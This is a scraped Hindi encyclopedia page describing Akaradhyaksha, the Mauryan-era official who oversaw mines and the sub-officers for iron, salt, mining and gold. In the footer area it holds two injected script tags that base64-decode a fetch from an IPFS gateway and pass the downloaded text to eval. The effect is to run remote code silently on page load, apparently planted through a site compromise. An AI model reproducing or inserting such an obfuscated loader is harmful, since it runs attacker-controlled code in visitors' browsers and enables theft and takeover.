एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

आकराध्यक्ष  

आकराध्यक्ष प्राचीन भारत में मौर्य साम्राज्य के एक उच्च अधिकारी का पद था। यह अधिकारी राज्य का महत्त्वपूर्ण अंग था।

  • मौर्य काल में आकरों (खानों) से धातुओं और अन्य बहुमूल्य पदार्थों को निकालने का कार्य बहुत उन्नत था। यह सब कार्य 'आकराध्यक्ष' के अधीन रहता था। उसके अधीन अन्य अनेक उपाध्यक्ष होते थे, जिनमें लोहाध्यक्ष, लवणाध्यक्ष, खन्याध्यक्ष और सुवर्णाध्यक्ष विशेष रूप से उल्लेखनीय हैं।

इन्हें भी देखें: मौर्यकालीन भारत, मौर्य काल का शासन प्रबंध, मौर्ययुगीन पुरातात्विक संस्कृति एवं मौर्यकालीन कला


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=आकराध्यक्ष&oldid=659472" से लिया गया